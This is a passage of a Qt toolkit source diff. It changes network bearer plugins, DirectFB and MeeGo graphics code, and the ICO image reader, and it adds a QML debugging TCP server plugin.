+++ b/src/plugins/bearer/icd/qnetworksession_impl.cpp
@@ -125,9 +125,6 @@ static QString get_network_interface();
 
 void QNetworkSessionPrivateImpl::iapStateChanged(const QString& iapid, uint icd_connection_state)
 {
-    if ((publicConfig.type() == QNetworkConfiguration::UserChoice) && opened) {
-        updateIdentifier(iapid);
-    }
 
     if (((publicConfig.type() == QNetworkConfiguration::UserChoice) &&
          (activeConfig.identifier() == iapid)) ||
@@ -149,6 +146,9 @@ void QNetworkSessionPrivateImpl::iapStateChanged(const QString& iapid, uint icd_
             break;
         }
     }
+    if (publicConfig.type() == QNetworkConfiguration::UserChoice) {
+        updateIdentifier(iapid);
+    }
 }
 
 void QNetworkSessionPrivateImpl::cleanupSession(void)
diff --git a/src/plugins/bearer/networkmanager/qnetworkmanagerengine.cpp b/src/plugins/bearer/networkmanager/qnetworkmanagerengine.cpp
index 30d6b50..6b37b38 100644
--- a/src/plugins/bearer/networkmanager/qnetworkmanagerengine.cpp
+++ b/src/plugins/bearer/networkmanager/qnetworkmanagerengine.cpp
@@ -213,6 +213,11 @@ void QNetworkManagerEngine::connectToId(const QString &id)
             dbusDevicePath = devicePath.path();
             break;
         }
+        else if (device.deviceType() == DEVICE_TYPE_GSM &&
+                connectionType == QLatin1String("gsm")) {
+            dbusDevicePath = devicePath.path();
+            break;
+        }
     }
 
     const QString service = connection->connectionInterface()->service();
diff --git a/src/plugins/bearer/symbian/qnetworksession_impl.cpp b/src/plugins/bearer/symbian/qnetworksession_impl.cpp
index 433eef6..741f8c5 100644
--- a/src/plugins/bearer/symbian/qnetworksession_impl.cpp
+++ b/src/plugins/bearer/symbian/qnetworksession_impl.cpp
@@ -1552,8 +1552,8 @@ void ConnectionProgressNotifier::StartNotifications()
 {
     if (!IsActive()) {
         SetActive();
+        iConnection.ProgressNotification(iProgress, iStatus);
     }
-    iConnection.ProgressNotification(iProgress, iStatus);
 }
 
 void ConnectionProgressNotifier::StopNotifications()
@@ -1569,10 +1569,10 @@ void ConnectionProgressNotifier::DoCancel()
 void ConnectionProgressNotifier::RunL()
 {
     if (iStatus == KErrNone) {
-        QT_TRYCATCH_LEAVING(iOwner.handleSymbianConnectionStatusChange(iProgress().iStage, iProgress().iError));
-    
         SetActive();
         iConnection.ProgressNotification(iProgress, iStatus);
+        // warning, this object may be deleted in the callback - do nothing after handleSymbianConnectionStatusChange
+        QT_TRYCATCH_LEAVING(iOwner.handleSymbianConnectionStatusChange(iProgress().iStage, iProgress().iError));
     }
 }
 
diff --git a/src/plugins/gfxdrivers/directfb/qdirectfbpixmap.cpp b/src/plugins/gfxdrivers/directfb/qdirectfbpixmap.cpp
index 6639983..eaff74a 100644
--- a/src/plugins/gfxdrivers/directfb/qdirectfbpixmap.cpp
+++ b/src/plugins/gfxdrivers/directfb/qdirectfbpixmap.cpp
@@ -245,10 +245,9 @@ bool QDirectFBPixmapData::fromDataBufferDescription(const DFBDataBufferDescripti
     QDirectFBPointer<IDirectFBDataBuffer> dataBuffer(dataBufferPtr);
 
     IDirectFBImageProvider *providerPtr;
-    if ((result = dataBuffer->CreateImageProvider(dataBuffer.data(), &providerPtr)) != DFB_OK) {
-        DirectFBError("QDirectFBPixmapData::fromDataBufferDescription(): Can't create image provider", result);
+    if ((result = dataBuffer->CreateImageProvider(dataBuffer.data(), &providerPtr)) != DFB_OK)
         return false;
-    }
+
     QDirectFBPointer<IDirectFBImageProvider> provider(providerPtr);
 
     DFBImageDescription imageDescription;
@@ -300,40 +299,26 @@ void QDirectFBPixmapData::fromImage(const QImage &img, Qt::ImageConversionFlags
 {
     alpha = QDirectFBPixmapData::hasAlphaChannel(img, flags);
     imageFormat = alpha ? screen->alphaPixmapFormat() : screen->pixelFormat();
+
     QImage image;
     if ((flags & ~Qt::NoOpaqueDetection) != Qt::AutoColor) {
         image = img.convertToFormat(imageFormat, flags);
         flags = Qt::AutoColor;
     } else if (img.format() == QImage::Format_RGB32 || img.depth() == 1) {
         image = img.convertToFormat(imageFormat, flags);
+    } else if (img.format() != imageFormat) {
+        image = img.convertToFormat(imageFormat, flags);
     } else {
         image = img;
     }
 
-    IDirectFBSurface *imageSurface = screen->createDFBSurface(image, image.format(), QDirectFBScreen::DontTrackSurface);
-    if (!imageSurface) {
-        qWarning("QDirectFBPixmapData::fromImage()");
-        invalidate();
-        return;
-    }
-
-    dfbSurface = screen->createDFBSurface(image.size(), imageFormat, QDirectFBScreen::TrackSurface);
+    dfbSurface = screen->createDFBSurface(image, image.format(), QDirectFBScreen::NoPreallocated | QDirectFBScreen::TrackSurface);
     if (!dfbSurface) {
         qWarning("QDirectFBPixmapData::fromImage()");
         invalidate();
         return;
     }
 
-    if (image.hasAlphaChannel()) {
-        dfbSurface->Clear(dfbSurface, 0, 0, 0, 0);
-        dfbSurface->SetBlittingFlags(dfbSurface, DSBLIT_BLEND_ALPHACHANNEL);
-    } else {
-        dfbSurface->SetBlittingFlags(dfbSurface, DSBLIT_NOFX);
-    }
-
-    dfbSurface->Blit(dfbSurface, imageSurface, 0, 0, 0);
-    imageSurface->Release(imageSurface);
-
     w = image.width();
     h = image.height();
     is_null = (w <= 0 || h <= 0);
diff --git a/src/plugins/gfxdrivers/directfb/qdirectfbscreen.cpp b/src/plugins/gfxdrivers/directfb/qdirectfbscreen.cpp
index 09cc465..ff15078 100644
--- a/src/plugins/gfxdrivers/directfb/qdirectfbscreen.cpp
+++ b/src/plugins/gfxdrivers/directfb/qdirectfbscreen.cpp
@@ -1285,7 +1285,7 @@ bool QDirectFBScreen::connect(const QString &displaySpec)
         result = d_ptr->primarySurface->GetSize(d_ptr->primarySurface, &w, &h);
 #elif (Q_DIRECTFB_VERSION >= 0x010000)
         IDirectFBSurface *layerSurface;
-        if (d_ptr->dfbLayer->GetSurface(d_ptr->dfbLayer, &layerSurface) != DFB_OK) {
+        if (d_ptr->dfbLayer->GetSurface(d_ptr->dfbLayer, &layerSurface) == DFB_OK) {
             result = layerSurface->GetSize(layerSurface, &w, &h);
             layerSurface->Release(layerSurface);
         }
diff --git a/src/plugins/gfxdrivers/directfb/qdirectfbwindowsurface.cpp b/src/plugins/gfxdrivers/directfb/qdirectfbwindowsurface.cpp
index d0056a7..3d8cf50 100644
--- a/src/plugins/gfxdrivers/directfb/qdirectfbwindowsurface.cpp
+++ b/src/plugins/gfxdrivers/directfb/qdirectfbwindowsurface.cpp
@@ -55,7 +55,6 @@ QT_BEGIN_NAMESPACE
 
 QDirectFBWindowSurface::QDirectFBWindowSurface(DFBSurfaceFlipFlags flip, QDirectFBScreen *scr)
     : QDirectFBPaintDevice(scr)
-    , sibling(0)
 #ifndef QT_NO_DIRECTFB_WM
     , dfbWindow(0)
 #endif
@@ -75,7 +74,6 @@ QDirectFBWindowSurface::QDirectFBWindowSurface(DFBSurfaceFlipFlags flip, QDirect
 
 QDirectFBWindowSurface::QDirectFBWindowSurface(DFBSurfaceFlipFlags flip, QDirectFBScreen *scr, QWidget *widget)
     : QWSWindowSurface(widget), QDirectFBPaintDevice(scr)
-    , sibling(0)
 #ifndef QT_NO_DIRECTFB_WM
     , dfbWindow(0)
 #endif
@@ -123,7 +121,7 @@ void QDirectFBWindowSurface::raise()
 
 IDirectFBWindow *QDirectFBWindowSurface::directFBWindow() const
 {
-    return (dfbWindow ? dfbWindow : (sibling ? sibling->dfbWindow : 0));
+    return dfbWindow;
 }
 
 void QDirectFBWindowSurface::createWindow(const QRect &rect)
@@ -287,17 +285,40 @@ void QDirectFBWindowSurface::setGeometry(const QRect &rect)
 
 QByteArray QDirectFBWindowSurface::permanentState() const
 {
-    QByteArray state(sizeof(this), 0);
-    *reinterpret_cast<const QDirectFBWindowSurface**>(state.data()) = this;
+    QByteArray state(sizeof(SurfaceFlags) + sizeof(DFBWindowID), 0);
+    char *ptr = state.data();
+    SurfaceFlags flags = surfaceFlags();
+    memcpy(ptr, &flags, sizeof(SurfaceFlags));
+    ptr += sizeof(SurfaceFlags);
+    DFBWindowID did = (DFBWindowID)(-1);
+    if (dfbWindow)
+        dfbWindow->GetID(dfbWindow, &did);
+    memcpy(ptr, &did, sizeof(DFBWindowID));
     return state;
 }
 
 void QDirectFBWindowSurface::setPermanentState(const QByteArray &state)
 {
-    if (state.size() == sizeof(this)) {
-        sibling = *reinterpret_cast<QDirectFBWindowSurface *const*>(state.constData());
-        Q_ASSERT(sibling);
-        setSurfaceFlags(sibling->surfaceFlags());
+    const char *ptr = state.constData();
+    IDirectFBDisplayLayer *layer = screen->dfbDisplayLayer();
+    SurfaceFlags flags;
+    memcpy(&flags, ptr, sizeof(SurfaceFlags));
+
+    setSurfaceFlags(flags);
+    ptr += sizeof(SurfaceFlags);
+    DFBWindowID id;
+    memcpy(&id, ptr, sizeof(DFBWindowID));
+    if (dfbSurface)
+        dfbSurface->Release(dfbSurface);
+    if (id != (DFBWindowID)-1) {
+        IDirectFBWindow *dw;
+        layer->GetWindow(layer, id, &dw);
+        if (dw->GetSurface(dw, &dfbSurface) != DFB_OK)
+                dfbSurface = 0;
+        dw->Release(dw);
+    }
+    else {
+        dfbSurface = 0;
     }
 }
 
@@ -406,8 +427,6 @@ void QDirectFBWindowSurface::endPaint(const QRegion &)
 
 IDirectFBSurface *QDirectFBWindowSurface::directFBSurface() const
 {
-    if (!dfbSurface && sibling && sibling->dfbSurface)
-        return sibling->dfbSurface;
     return dfbSurface;
 }
 
@@ -415,11 +434,8 @@ IDirectFBSurface *QDirectFBWindowSurface::directFBSurface() const
 IDirectFBSurface *QDirectFBWindowSurface::surfaceForWidget(const QWidget *widget, QRect *rect) const
 {
     Q_ASSERT(widget);
-    if (!dfbSurface) {
-        if (sibling && (!sibling->sibling || sibling->dfbSurface))
-            return sibling->surfaceForWidget(widget, rect);
+    if (!dfbSurface)
         return 0;
-    }
     QWidget *win = window();
     Q_ASSERT(win);
     if (rect) {
diff --git a/src/plugins/gfxdrivers/directfb/qdirectfbwindowsurface.h b/src/plugins/gfxdrivers/directfb/qdirectfbwindowsurface.h
index f683fc8..75d462b 100644
--- a/src/plugins/gfxdrivers/directfb/qdirectfbwindowsurface.h
+++ b/src/plugins/gfxdrivers/directfb/qdirectfbwindowsurface.h
@@ -100,7 +100,6 @@ private:
     void updateIsOpaque();
     void setOpaque(bool opaque);
     void releaseSurface();
-    QDirectFBWindowSurface *sibling;
 
 #ifdef QT_DIRECTFB_WM
     void createWindow(const QRect &rect);
diff --git a/src/plugins/graphicssystems/meego/dithering.cpp b/src/plugins/graphicssystems/meego/dithering.cpp
index 91e3337..2561c22 100644
--- a/src/plugins/graphicssystems/meego/dithering.cpp
+++ b/src/plugins/graphicssystems/meego/dithering.cpp
@@ -39,15 +39,22 @@
 **
 ****************************************************************************/
 
-// This is an implementation of the 32bit => 16bit Floyd-Steinberg dithering.
+// Implements two dithering methods:
+//
+//  * convertRGBA32_to_RGB565
+//
+// This is implemented using Ordered Bayer Dithering. The code has been adapted
+// from QX11PixmapData::fromImage. This method was originally implemented using
+// Floyd-Steinberg dithering but was later changed to Ordered Dithering because
+// of the better quality of the results.
+//
+//  * convertRGBA32_to_RGBA4444
+//
+// This is implemented using Floyd-Steinberg dithering.
+//
 // The alghorithm used here is not the fastest possible but it's prolly fast enough:
 // uses look-up tables, integer-only arthmetics and works in one pass on two lines
 // at a time. It's a high-quality dithering using 1/8 diffusion precission.
-// Two functions here to look at:
-//
-//   * convertRGBA32_to_RGB565
-//   * convertRGBA32_to_RGBA4444
-//
 // Each channel (RGBA) is diffused independently and alpha is dithered too.
 
 #include <string.h>
@@ -76,113 +83,63 @@
 // Converts incoming RGB32 (QImage::Format_RGB32) to RGB565. Returns the newly allocated data.
 unsigned short* convertRGB32_to_RGB565(const unsigned char *in, int width, int height, int stride)
 {
+    static bool thresholdMapInitialized = false;
+    static int thresholdMap[16][16];
+
+    if (!thresholdMapInitialized) {
+        int i;
+        int j;
+        int n;
+
+        thresholdMap[0][0] = 0;
+        thresholdMap[1][0] = 2;
+        thresholdMap[0][1] = 3;
+        thresholdMap[1][1] = 1;
+
+        for (n=2; n<16; n*=2) {
+            for (i=0; i<n; i++) {
+                for (j=0; j<n; j++) {
+                    thresholdMap[i][j]    *= 4;
+                    thresholdMap[i+n][j]   = thresholdMap[i][j] + 2;
+                    thresholdMap[i][j+n]   = thresholdMap[i][j] + 3;
+                    thresholdMap[i+n][j+n] = thresholdMap[i][j] + 1;
+                }
+            }
+        }
+
+        thresholdMapInitialized = true;
+    }
+
     // Output line stride. Aligned to 4 bytes.
     int alignedWidth = width;
     if (alignedWidth % 2 > 0)
         alignedWidth++;
 
     // Will store output
-    unsigned short *out = (unsigned short *) malloc(alignedWidth * height * 2);
-
-    // Lookup tables for the 8bit => 6bit and 8bit => 5bit conversion
-    unsigned char lookup_8bit_to_5bit[256];
-    short lookup_8bit_to_5bit_diff[256];
-    unsigned char lookup_8bit_to_6bit[256];
-    short lookup_8bit_to_6bit_diff[256];
-
-    // Macros for the conversion using the lookup table.
-    #define CONVERT_8BIT_TO_5BIT(v) (lookup_8bit_to_5bit[v])
-    #define DIFF_8BIT_TO_5BIT(v) (lookup_8bit_to_5bit_diff[v])
-
-    #define CONVERT_8BIT_TO_6BIT(v) (lookup_8bit_to_6bit[v])
-    #define DIFF_8BIT_TO_6BIT(v) (lookup_8bit_to_6bit_diff[v])
-
-    int i;
-    int x, y, c; // Pixel we're processing. c is component number (0, 1, 2 for r, b, b)
-    short component[3]; // Stores the new components (r, g, b) for pixel produced during conversion
-    short diff; // The difference between the converted value and the original one. To be accumulated.
-    QVarLengthArray <short> accumulatorData(3 * width * 2); // Data for three acumulators for r, g, b. Each accumulator is two lines.
-    short *accumulator[3]; // Helper for accessing the accumulator on a per-channel basis more easily.
-    accumulator[0] = accumulatorData.data();
-    accumulator[1] = accumulatorData.data() + width;
-    accumulator[2] = accumulatorData.data() + (width * 2);
-
-    // Produce the conversion lookup tables.
-    for (i = 0; i < 256; i++) {
-        lookup_8bit_to_5bit[i] = round(i / 8.0);
-
-        // Before bitshifts: (i * 8) - (... * 8 * 8)
-        lookup_8bit_to_5bit_diff[i] = (i << 3) - (lookup_8bit_to_5bit[i] << 6);
-        if (lookup_8bit_to_5bit[i] > 31)
-            lookup_8bit_to_5bit[i] -= 1;
-
-        lookup_8bit_to_6bit[i] = round(i / 4.0);
-
-        // Before bitshifts: (i * 8) - (... * 4 * 8)
-        lookup_8bit_to_6bit_diff[i] = (i << 3) - (lookup_8bit_to_6bit[i] << 5);
-        if (lookup_8bit_to_6bit[i] > 63)
-            lookup_8bit_to_6bit[i] -= 1;
-    }
+    unsigned short *out = (unsigned short *)malloc (alignedWidth * height * 2);
 
-    // Clear the accumulators
-    memset(accumulator[0], 0, width * 4);
-    memset(accumulator[1], 0, width * 4);
-    memset(accumulator[2], 0, width * 4);
+    int x;
+    int y;
+    int threshold;
 
     // For each line...
     for (y = 0; y < height; y++) {
 
-        // For each accumulator, move the second line (index 1) to replace the first line (index 0).
-        // Clear the second line (index 1)
-        memcpy(accumulator[0], accumulator[0] + width, width * 2);
-        memset(accumulator[0] + width, 0, width * 2);
-
-        memcpy(accumulator[1], accumulator[1] + width, width * 2);
-        memset(accumulator[1] + width, 0, width * 2);
-
-        memcpy(accumulator[2], accumulator[2] + width, width * 2);
-        memset(accumulator[2] + width, 0, width * 2);
-
         // For each column....
         for (x = 0; x < width; x++) {
 
-            // For each component (r, g, b)...
-            for (c = 0; c < 3; c++) {
+            int r = GET_RGBA_COMPONENT(in, x, y, stride, 0);
+            int g = GET_RGBA_COMPONENT(in, x, y, stride, 1);
+            int b = GET_RGBA_COMPONENT(in, x, y, stride, 2);
 
-                // Get the 8bit value from the original image
-                component[c] = GET_RGBA_COMPONENT(in, x, y, stride, c);
-
-                // Add the diffusion for this pixel we stored in the accumulator.
-                // >> 7 because the values in accumulator are stored * 128
-                if (x != 0 && x != (width - 1)) {
-                    if (accumulator[c][x] >> 7 != 0)
-                    component[c] += rand() % accumulator[c][x] >> 7;
-                }
-
-                // Make sure we're not over the boundaries.
-                CLAMP_256(component[c]);
-
-                // For green component we use 6 bits. Otherwise 5 bits.
-                // Store the difference from converting 8bit => 6 bit and the orig pixel.
-                // Convert 8bit => 6(5) bit.
-                if (c == 1) {
-                    diff = DIFF_8BIT_TO_6BIT(component[c]);
-                    component[c] = CONVERT_8BIT_TO_6BIT(component[c]);
-                } else {
-                    diff = DIFF_8BIT_TO_5BIT(component[c]);
-                    component[c] = CONVERT_8BIT_TO_5BIT(component[c]);
-                }
+            threshold = thresholdMap[x%16][y%16];
 
-                // Distribute the difference according to the matrix in the
-                // accumulation bufffer.
-                ACCUMULATE(accumulator[c], x + 1, 0, width, diff * 3);
-                ACCUMULATE(accumulator[c], x - 1, 1, width, diff * 5);
-                ACCUMULATE(accumulator[c], x, 1, width, diff * 5);
-                ACCUMULATE(accumulator[c], x + 1, 1, width, diff * 3);
-            }
+            if (r <= (255-(1<<3)) && ((r<<5) & 255) > threshold) r += (1<<3);
+            if (g <= (255-(1<<2)) && ((g<<6) & 255) > threshold) g += (1<<2);
+            if (b <= (255-(1<<3)) && ((b<<5) & 255) > threshold) b += (1<<3);
 
             // Write the newly produced pixel
-            PUT_565(out, x, y, alignedWidth, component[2], component[1], component[0]);
+            PUT_565(out, x, y, alignedWidth, ((b >> 3) & 0x1f), ((g >> 2) & 0x3f), ((r >> 3) & 0x1f));
         }
     }
 
diff --git a/src/plugins/graphicssystems/meego/qmeegographicssystem.cpp b/src/plugins/graphicssystems/meego/qmeegographicssystem.cpp
index 20b092e..a70d232 100644
--- a/src/plugins/graphicssystems/meego/qmeegographicssystem.cpp
+++ b/src/plugins/graphicssystems/meego/qmeegographicssystem.cpp
@@ -42,6 +42,7 @@
 #include <QDebug>
 #include <private/qpixmap_raster_p.h>
 #include <private/qwindowsurface_gl_p.h>
+#include <private/qwindowsurface_raster_p.h>
 #include <private/qegl_p.h>
 #include <private/qglextensions_p.h>
 #include <private/qgl_p.h>
@@ -75,7 +76,12 @@ QMeeGoGraphicsSystem::~QMeeGoGraphicsSystem()
 
 QWindowSurface* QMeeGoGraphicsSystem::createWindowSurface(QWidget *widget) const
 {
-    QGLShareContextScope ctx(qt_gl_share_widget()->context());
+    QGLWidget *shareWidget = qt_gl_share_widget();
+
+    if (!shareWidget)
+        return new QRasterWindowSurface(widget);
+
+    QGLShareContextScope ctx(shareWidget->context());
 
     QMeeGoGraphicsSystem::surfaceWasCreated = true;
     QWindowSurface *surface = new QGLWindowSurface(widget);
diff --git a/src/plugins/imageformats/ico/qicohandler.cpp b/src/plugins/imageformats/ico/qicohandler.cpp
index 5aa26d3..701207d 100644
--- a/src/plugins/imageformats/ico/qicohandler.cpp
+++ b/src/plugins/imageformats/ico/qicohandler.cpp
@@ -559,6 +559,8 @@ QImage ICOReader::iconAt(int index)
                     icoAttrib.ncolors = 0;
                 else                    // # colors used
                     icoAttrib.ncolors = header.biClrUsed ? header.biClrUsed : 1 << icoAttrib.nbits;
+                if (icoAttrib.ncolors > 256) //color table can't be more than 256
+                    return img;
                 icoAttrib.w = iconEntry.bWidth;
                 if (icoAttrib.w == 0)
                     icoAttrib.w = header.biWidth;
diff --git a/src/plugins/phonon/mmf/mmf.pro b/src/plugins/phonon/mmf/mmf.pro
index 5b21211..7c7c1d7 100644
--- a/src/plugins/phonon/mmf/mmf.pro
+++ b/src/plugins/phonon/mmf/mmf.pro
@@ -132,7 +132,7 @@ symbian {
         }
 
 	# This is to allow IAP to be specified
-	LIBS += -lCommDb
+	LIBS += -lcommdb
 
 	# This is needed for having the .qtplugin file properly created on Symbian.
 	QTDIR_build:DESTDIR = $$QT_BUILD_TREE/plugins/phonon_backend
diff --git a/src/plugins/plugins.pro b/src/plugins/plugins.pro
index 5b0b6f3..3e7da0e 100644
--- a/src/plugins/plugins.pro
+++ b/src/plugins/plugins.pro
@@ -15,4 +15,4 @@ symbian:SUBDIRS += s60
 contains(QT_CONFIG, phonon): SUBDIRS *= phonon
 contains(QT_CONFIG, multimedia): SUBDIRS *= audio
 qpa:SUBDIRS += platforms
-
+contains(QT_CONFIG, declarative): SUBDIRS *= qmltooling
diff --git a/src/plugins/qmltooling/qmltooling.pro b/src/plugins/qmltooling/qmltooling.pro
new file mode 100644
index 0000000..01cf1a9
--- /dev/null
+++ b/src/plugins/qmltooling/qmltooling.pro
@@ -0,0 +1,4 @@
+TEMPLATE = subdirs
+
+SUBDIRS = tcpserver
+
diff --git a/src/plugins/qmltooling/tcpserver/qtcpserverconnection.cpp b/src/plugins/qmltooling/tcpserver/qtcpserverconnection.cpp
new file mode 100644
index 0000000..69c1ef5
--- /dev/null
+++ b/src/plugins/qmltooling/tcpserver/qtcpserverconnection.cpp
@@ -0,0 +1,173 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "qtcpserverconnection.h"
+
+#include <QtNetwork/qtcpserver.h>
+#include <QtNetwork/qtcpsocket.h>
+
+#include <private/qdeclarativedebugserver_p.h>
+#include <private/qpacketprotocol_p.h>
+
+QT_BEGIN_NAMESPACE
+
+class QTcpServerConnectionPrivate {
+public:
+    QTcpServerConnectionPrivate();
+
+    int port;
+    QTcpSocket *socket;
+    QPacketProtocol *protocol;
+    QTcpServer *tcpServer;
+
+    QDeclarativeDebugServer *debugServer;
+};
+
+QTcpServerConnectionPrivate::QTcpServerConnectionPrivate() :
+    port(0),
+    socket(0),
+    protocol(0),
+    tcpServer(0),
+    debugServer(0)
+{
+}
+
+QTcpServerConnection::QTcpServerConnection() :
+    d_ptr(new QTcpServerConnectionPrivate)
+{
+
+}
+
+QTcpServerConnection::~QTcpServerConnection()
+{
+    delete d_ptr;
+}
+
+void QTcpServerConnection::setServer(QDeclarativeDebugServer *server)
+{
+    Q_D(QTcpServerConnection);
+    d->debugServer = server;
+}
+
+bool QTcpServerConnection::isConnected() const
+{
+    Q_D(const QTcpServerConnection);
+    return d->socket && d->socket->state() == QTcpSocket::ConnectedState;
+}
+
+void QTcpServerConnection::send(const QByteArray &message)
+{
+    Q_D(QTcpServerConnection);
+
+    if (!isConnected())
+        return;
+
+    QPacket pack;
+    pack.writeRawData(message.data(), message.length());
+
+    d->protocol->send(pack);
+    d->socket->flush();
+}
+
+void QTcpServerConnection::disconnect()
+{
+    Q_D(QTcpServerConnection);
+
+    delete d->protocol;
+    d->protocol = 0;
+    delete d->socket;
+    d->socket = 0;
+}
+
+void QTcpServerConnection::setPort(int port, bool block)
+{
+    Q_D(QTcpServerConnection);
+    d->port = port;
+
+    listen();
+    if (block)
+        d->tcpServer->waitForNewConnection(-1);
+}
+
+void QTcpServerConnection::listen()
+{
+    Q_D(QTcpServerConnection);
+
+    d->tcpServer = new QTcpServer(this);
+    QObject::connect(d->tcpServer, SIGNAL(newConnection()), this, SLOT(newConnection()));
+    if (d->tcpServer->listen(QHostAddress::Any, d->port))
+        qWarning("QDeclarativeDebugServer: Waiting for connection on port %d...", d->port);
+    else
+        qWarning("QDeclarativeDebugServer: Unable to listen on port %d", d->port);
+}
+
+
+void QTcpServerConnection::readyRead()
+{
+    Q_D(QTcpServerConnection);
+    QPacket packet = d->protocol->read();
+
+    QByteArray content = packet.data();
+    d->debugServer->receiveMessage(content);
+}
+
+void QTcpServerConnection::newConnection()
+{
+    Q_D(QTcpServerConnection);
+
+    if (d->socket) {
+        qWarning("QDeclarativeDebugServer: Another client is already connected");
+        QTcpSocket *faultyConnection = d->tcpServer->nextPendingConnection();
+        delete faultyConnection;
+        return;
+    }
+
+    d->socket = d->tcpServer->nextPendingConnection();
+    d->socket->setParent(this);
+    d->protocol = new QPacketProtocol(d->socket, this);
+    QObject::connect(d->protocol, SIGNAL(readyRead()), this, SLOT(readyRead()));
+}
+
+
+Q_EXPORT_PLUGIN2(tcpserver, QTcpServerConnection)
+
+QT_END_NAMESPACE
+
diff --git a/tools/qdoc3/polyarchiveextractor.h b/src/plugins/qmltooling/tcpserver/qtcpserverconnection.h
index 29cc51b..a6e17e6 100644
--- a/tools/qdoc3/polyarchiveextractor.h
+++ b/src/plugins/qmltooling/tcpserver/qtcpserverconnection.h
@@ -1,10 +1,10 @@
 /****************************************************************************
 **
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
 ** All rights reserved.
 ** Contact: Nokia Corporation (qt-info@nokia.com)
 **
-** This file is part of the tools applications of the Qt Toolkit.
+** This file is part of the QtDeclarative module of the Qt Toolkit.
 **
 ** $QT_BEGIN_LICENSE:LGPL$
 ** No Commercial Usage
@@ -39,32 +39,46 @@
 **
 ****************************************************************************/
 
-/*
-  polyarchiveextractor.h
-*/
+#ifndef QTCPSERVERCONNECTION_H
+#define QTCPSERVERCONNECTION_H
 
-#ifndef POLYARCHIVEEXTRACTOR_H
-#define POLYARCHIVEEXTRACTOR_H
-
-#include "archiveextractor.h"
+#include <QtGui/QStylePlugin>
+#include <QtDeclarative/private/qdeclarativedebugserverconnection_p.h>
 
 QT_BEGIN_NAMESPACE
 
-class PolyArchiveExtractor : public ArchiveExtractor
+class QDeclarativeDebugServer;
+class QTcpServerConnectionPrivate;
+class QTcpServerConnection : public QObject, public QDeclarativeDebugServerConnection
 {
- public:
-    PolyArchiveExtractor(const QStringList& extensions,
-			 const QString& commandFormat);
-    ~PolyArchiveExtractor();
+    Q_OBJECT
+    Q_DECLARE_PRIVATE(QTcpServerConnection)
+    Q_DISABLE_COPY(QTcpServerConnection)
+    Q_INTERFACES(QDeclarativeDebugServerConnection)
+
+
+public:
+    QTcpServerConnection();
+    ~QTcpServerConnection();
+
+    void setServer(QDeclarativeDebugServer *server);
+    void setPort(int port, bool bock);
+
+    bool isConnected() const;
+    void send(const QByteArray &message);
+    void disconnect();
+
+    void listen();
+    void waitForConnection();
 
-    virtual void extractArchive(const Location& location,
-				const QString& filePath,
-				const QString& outputDir);
+private Q_SLOTS:
+    void readyRead();
+    void newConnection();
 
- private:
-    QString cmd;
+private:
+    QTcpServerConnectionPrivate *d_ptr;
 };
 
 QT_END_NAMESPACE
 
-#endif
+#endif // QTCPSERVERCONNECTION_H
diff --git a/src/plugins/qmltooling/tcpserver/tcpserver.pro b/src/plugins/qmltooling/tcpserver/tcpserver.pro
new file mode 100644
index 0000000..f4f2666
--- /dev/null
+++ b/src/plugins/qmltooling/tcpserver/tcpserver.pro
@@ -0,0 +1,18 @@
+TARGET = tcpserver
+QT       += declarative network
+
+include(../../qpluginbase.pri)
+
+QTDIR_build:DESTDIR  = $$QT_BUILD_TREE/plugins/qmltooling
+QTDIR_build:REQUIRES += "contains(QT_CONFIG, declarative)"
+
+SOURCES += \
+    qtcpserverconnection.cpp
+
+HEADERS += \
+    qtcpserverconnection.h
+
+target.path += $$[QT_INSTALL_PLUGINS]/qmltooling
+INSTALLS += target
+
+symbian:TARGET.UID3=0x20031E90 
\ No newline at end of file
diff --git a/src/qbase.pri b/src/qbase.pri
index 4d835bd..ce69757 100644
--- a/src/qbase.pri
+++ b/src/qbase.pri
@@ -197,7 +197,7 @@ symbian {
         # Partial upgrade SIS file
         vendorinfo = \
             "; Localised Vendor name" \
-            "%{\"Nokia, Qt\"}" \
+            "%{\"Nokia\"}" \
             " " \
             "; Unique Vendor name" \
             ":\"Nokia, Qt\"" \
diff --git a/src/qt3support/network/q3dns.cpp b/src/qt3support/network/q3dns.cpp
index c95edc1..d489652 100644
--- a/src/qt3support/network/q3dns.cpp
+++ b/src/qt3support/network/q3dns.cpp
@@ -2009,15 +2009,20 @@ Q3ValueList<QHostAddress> Q3Dns::addresses() const
     \class Q3Dns::MailServer
     \brief The Q3Dns::MailServer class is  described in Q3Dns::mailServers().
 
-    \internal
+*/
+
+
+/*! \fn Q3Dns::MailServer::MailServer(const QString& n, Q_UINT16 p)
+  The constructor sets the public data members name and priority.
+  \a n is the name and \a p is the priority.
 */
 
 /*!
     Returns a list of mail servers if the record type is \c Mx. The
     class Q3Dns::MailServer contains the following public variables:
     \list
-    \i QString Q3Dns::MailServer::name
-    \i Q_UINT16 Q3Dns::MailServer::priority
+    \o QString Q3Dns::MailServer::name
+    \o Q_UINT16 Q3Dns::MailServer::priority
     \endlist
 
     Note that if you want to iterate over the list, you should iterate
@@ -2048,22 +2053,26 @@ Q3ValueList<Q3Dns::MailServer> Q3Dns::mailServers() const
     return result;
 }
 
-
 /*!
     \class Q3Dns::Server
     \brief The Q3Dns::Server class is described in Q3Dns::servers().
 
-    \internal
+*/
+
+/*! \fn Q3Dns::Server::Server(const QString& n, Q_UINT16 p, Q_UINT16 w, Q_UINT16 po)
+  The constructor sets the public data members name, priority,
